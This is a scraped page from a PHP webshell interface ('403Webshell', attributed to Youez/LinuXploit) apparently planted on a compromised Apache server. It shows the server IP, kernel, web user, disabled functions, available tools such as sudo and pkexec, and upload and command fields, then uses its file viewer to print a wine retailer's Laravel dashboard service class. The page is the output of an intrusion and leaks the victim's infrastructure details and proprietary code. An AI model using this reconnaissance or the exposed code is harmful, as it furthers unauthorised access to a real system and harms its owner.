403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Services/DashService.php
<?php

namespace App\Services;

use DB;
use Sentinel;

use App\Modules\PedidoEntrega\Models\PedidoEntrega;
use App\Modules\PedidoVenda\Models\PedidoVenda;
use App\Modules\Oferta\Models\Oferta;

use Session;

class DashService {

    public static function estoqueOfertaDia($datas, $startDay, $lastDay){

        try {
            
            $sumCase   = [];
            foreach ($datas as $key => $data){
                $sumCase[] = "SUM(CASE WHEN oferta.data = '{$data}' THEN oferta.estoque ELSE 0 END) AS {$key}";
            }

            $query = Oferta::select(
                        DB::raw(implode(",", $sumCase))
                    )->whereBetween('oferta.data', [$startDay, $lastDay])
                    ->where('oferta.tipo', '=', 'D');

            $estoque = $query->first()->toArray();

            return $estoque;

        } catch (Exception $e) {
            
        }
    }

    public static function totalVendasAno($id_cliente){

        $data    = [];
        $labels  = [];
        $sumCase = [];
        for($year=2014;$year<=date('Y');$year++){
            $labels[]  = $year;
            $sumCase[] = "SUM(CASE WHEN YEAR(data_fechamento) = {$year} THEN valor_total ELSE 0 END) AS 'TOTAL_{$year}'";
        }

        $query = PedidoVenda::select(
                    DB::raw(implode(",", $sumCase))
                )->join('pedido_venda_has_produto','pedido_venda_has_produto.id_pedido_venda','=','pedido_venda.id')
                ->whereIn('pedido_venda.id_status_pedido_venda', [2,7])
                ->where('pedido_venda.frete', 0)
                ->where('pedido_venda.id_cliente', $id_cliente);

        $vendas = $query->first()->toArray();

        $dataset = [];
        $total   = 0;
        for($year=2014;$year<=date('Y');$year++){
            $dataset[] = $vendas["TOTAL_{$year}"];
            $total     += $vendas["TOTAL_{$year}"];
        }

        $data['labels']  = $labels;
        $data['dataset'] = $dataset;
        $data['total']   = number_format($total,0,',','.');

        return $data;

    }

    public static function totalVendasTipoProduto($id_cliente, $total_pedidos_venda){

        $data    = [];
        $labels  = [];
        $dataset = [];

        $query = PedidoVenda::select(
                    DB::raw('SUM(pvhp.valor_total) total_venda'),
                    'tipo.slug',
                    'tipo.nome'
                )->join('pedido_venda_has_produto AS pvhp','pedido_venda.id','=','pvhp.id_pedido_venda')
                ->join('produto AS p','p.id','=','pvhp.id_produto')
                ->join('tipo_de_produto AS tipo','tipo.id','=','p.id_tipo_produto')
                ->whereIn('pedido_venda.id_status_pedido_venda', [2,7])
                ->where('pedido_venda.frete', 0)
                ->where('pedido_venda.id_cliente', $id_cliente)
                ->groupBy('tipo.slug')
                ->orderby('total_venda','desc');

        $vendas = $query->get();


        foreach ($vendas as $venda) {
            $labels[]   = $venda->nome;
            $percentual =  $total_pedidos_venda != 0 ? ($venda->total_venda * 100) / $total_pedidos_venda : 0;
            $dataset[]  = number_format($percentual,0,'.','');
        }

        $data['labels']  = $labels;
        $data['dataset'] = $dataset;

        return $data;
    }

    public static function totalVendasPaisProduto($id_cliente, $total_pedidos_venda){

        $data    = [];
        $labels  = [];
        $dataset = [];

        $query = PedidoVenda::select(
                    DB::raw('SUM(pvhp.valor_total) total_venda'),
                    'pais.sigla',
                    'pais.nome'
                )->join('pedido_venda_has_produto AS pvhp','pedido_venda.id','=','pvhp.id_pedido_venda')
                ->join('produto AS p','p.id','=','pvhp.id_produto')
                ->join('pais','pais.id','=','p.id_pais_origem')
                ->whereIn('pedido_venda.id_status_pedido_venda', [2,7])
                ->where('pedido_venda.frete', 0)
                ->where('pedido_venda.id_cliente', $id_cliente)
                ->groupBy('pais.sigla')
                ->orderby('total_venda','desc');

        $vendas = $query->get();

        foreach ($vendas as $venda) {
            $labels[]  = $venda->nome;
            $percentual = $total_pedidos_venda != 0 ? ($venda->total_venda * 100) / $total_pedidos_venda : 0;
            $dataset[]  = number_format($percentual,0,'.','');
        }

        $data['labels']  = $labels;
        $data['dataset'] = $dataset;

        return $data;
    }

    public static function quantidadeVendidaDia($datas, $startDay, $lastDay){

        try {
            
            $sumCase   = [];
            foreach ($datas as $key => $data){
                $sumCase[] = "SUM(CASE WHEN oferta.data = '{$data}' THEN pedido_venda_has_produto.quantidade ELSE 0 END) AS {$key}";
            }

            $query = Oferta::select(
                        DB::raw(implode(",", $sumCase))
                    )->join('pedido_venda_has_produto','pedido_venda_has_produto.id_oferta','=','oferta.id')
                    ->join('pedido_venda','pedido_venda.id','=','pedido_venda_has_produto.id_pedido_venda')
                    ->whereIn('pedido_venda.id_status_pedido_venda', [1,2,7])
                    ->where('pedido_venda.frete', 0)
                    ->whereBetween('oferta.data', [$startDay, $lastDay])
                    ->where('oferta.tipo', '=', 'D');

            $vendas = $query->first()->toArray();

            return $vendas;

        } catch (Exception $e) {
            
        }

    }

    public static function buscarProdutosOfertaDia($startDay, $lastDay){

        $ofertas  = Oferta::whereBetween('data', [$startDay, $lastDay])->where('tipo', 'D')->with('produtos.produto')->get();
        $produtos = [];
        foreach ($ofertas as $oferta) {
            $key = str_replace("-", "_", $oferta->data);
            for($i=0;$i<count($oferta->produtos);$i++){
                $produto = $oferta->produtos[$i]->produto;
                $produtos[$key][] = $produto->sku;
            }
        }

        return $produtos;
    }

    public static function entregaOfertaDia($datas, $startDay, $lastDay){

        try {

            $produtos = DashService::buscarProdutosOfertaDia($startDay, $lastDay);

            $sumCase       = [];
            foreach ($datas as $key => $data){
                $conditionCase = '';
                if(isset($produtos[$key])){
                    $conditionCase = " AND produto.sku IN ('" . implode("','", $produtos[$key]) . "')";
                }
                $sumCase[] = "SUM(CASE WHEN pedido_entrega.data_solicitacao BETWEEN '{$data} 00:00:00' AND '{$data} 23:59:59' {$conditionCase} THEN pedido_venda_has_produto.quantidade ELSE 0 END) AS {$key}";
            }

            $query = PedidoEntrega::select(
                        DB::raw(implode(",", $sumCase))
                    )
                    ->join('empresa','empresa.id','=','pedido_entrega.empresa_id')
                    ->join('adega','adega.id','=','pedido_entrega.id_adega')
                    ->join('cadastro','cadastro.id','=','adega.id_cliente')
                    ->join('sis_users','sis_users.id','=','cadastro.user_id')
                    ->join('adega_has_pedido_venda','adega_has_pedido_venda.id_adega','=','adega.id')
                    ->join('pedido_venda', function($join)
                    {
                        $join->on('pedido_venda.id', '=', 'adega_has_pedido_venda.id_pedido_venda');
                        $join->on('pedido_venda.id_cliente', '=', 'cadastro.id');
                    })
                    ->join('pedido_venda_status','pedido_venda_status.id','=','pedido_venda.id_status_pedido_venda')
                    ->join('pedido_venda_has_produto','pedido_venda_has_produto.id_pedido_venda','=','pedido_venda.id')
                    ->join('produto','produto.id','=','pedido_venda_has_produto.id_produto')
                    ->whereBetween('pedido_entrega.data_solicitacao', [$startDay, $lastDay])
                    ->where('pedido_entrega.id_pedido_entrega_status', '<>', 7);

            $entregas = $query->first()->toArray();

            return $entregas;
            
        } catch (Exception $e) {
            
        }
    }

    public static function entregasSolicitadasDia($datas, $startDay, $lastDay){

        try {

            $sumCase   = [];
            foreach ($datas as $key => $data){
                $sumCase[] = "SUM(CASE WHEN pedido_entrega.data_solicitacao BETWEEN '{$data} 00:00:00' AND '{$data} 23:59:59' THEN pedido_venda_has_produto.quantidade ELSE 0 END) AS {$key}";
            }

            $query = PedidoEntrega::select(
                        DB::raw(implode(",", $sumCase))
                    )
                    ->join('empresa','empresa.id','=','pedido_entrega.empresa_id')
                    ->join('adega','adega.id','=','pedido_entrega.id_adega')
                    ->join('cadastro','cadastro.id','=','adega.id_cliente')
                    ->join('sis_users','sis_users.id','=','cadastro.user_id')
                    ->join('adega_has_pedido_venda','adega_has_pedido_venda.id_adega','=','adega.id')
                    ->join('pedido_venda', function($join)
                    {
                        $join->on('pedido_venda.id', '=', 'adega_has_pedido_venda.id_pedido_venda');
                        $join->on('pedido_venda.id_cliente', '=', 'cadastro.id');
                    })
                    ->join('pedido_venda_status','pedido_venda_status.id','=','pedido_venda.id_status_pedido_venda')
                    ->join('pedido_venda_has_produto','pedido_venda_has_produto.id_pedido_venda','=','pedido_venda.id')
                    ->join('produto','produto.id','=','pedido_venda_has_produto.id_produto')
                    ->whereBetween('pedido_entrega.data_solicitacao', [$startDay, $lastDay])
                    ->where('pedido_entrega.id_pedido_entrega_status', '<>', 7);

            $entregas = $query->first()->toArray();

            return $entregas;
            
        } catch (Exception $e) {
            
        }
    }

    public static function statusDashboard($datas, $startDay, $lastDay){

        try {

            $sumCase   = [];
            $status    = [3,4,5,6,8];
            foreach ($datas as $key => $data){
                $sumCase[] = "SUM(CASE WHEN pedido_entrega.data_solicitacao BETWEEN '{$data} 00:00:00' AND '{$data} 23:59:59' THEN pedido_venda_has_produto.quantidade ELSE 0 END) AS {$key}";
            }

            $query = PedidoEntrega::select(
                        'pedido_entrega_status.id',
                        DB::raw(implode(",", $sumCase))
                    )->leftJoin('pedido_entrega_status', 'pedido_entrega_status.id', '=', 'pedido_entrega.id_pedido_entrega_status')
                    ->join('empresa','empresa.id','=','pedido_entrega.empresa_id')
                    ->join('adega','adega.id','=','pedido_entrega.id_adega')
                    ->join('cadastro','cadastro.id','=','adega.id_cliente')
                    ->join('sis_users','sis_users.id','=','cadastro.user_id')
                    ->join('adega_has_pedido_venda','adega_has_pedido_venda.id_adega','=','adega.id')
                    ->join('pedido_venda', function($join)
                    {
                        $join->on('pedido_venda.id', '=', 'adega_has_pedido_venda.id_pedido_venda');
                        $join->on('pedido_venda.id_cliente', '=', 'cadastro.id');
                    })
                    ->join('pedido_venda_status','pedido_venda_status.id','=','pedido_venda.id_status_pedido_venda')
                    ->join('pedido_venda_has_produto','pedido_venda_has_produto.id_pedido_venda','=','pedido_venda.id')
                    ->join('produto','produto.id','=','pedido_venda_has_produto.id_produto')
                    ->whereBetween('pedido_entrega.data_solicitacao', [$startDay, $lastDay])
                    ->whereIn('pedido_entrega_status.id', $status)
                    ->groupBy('pedido_entrega_status.id');

            $listaEntregas = $query->get()->toArray();
            $entregas      = [];

            foreach ($listaEntregas as $entrega) {
                $entregas[$entrega['id']] = $entrega;
            }

            return $entregas;
            
        } catch (Exception $e) {
            
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit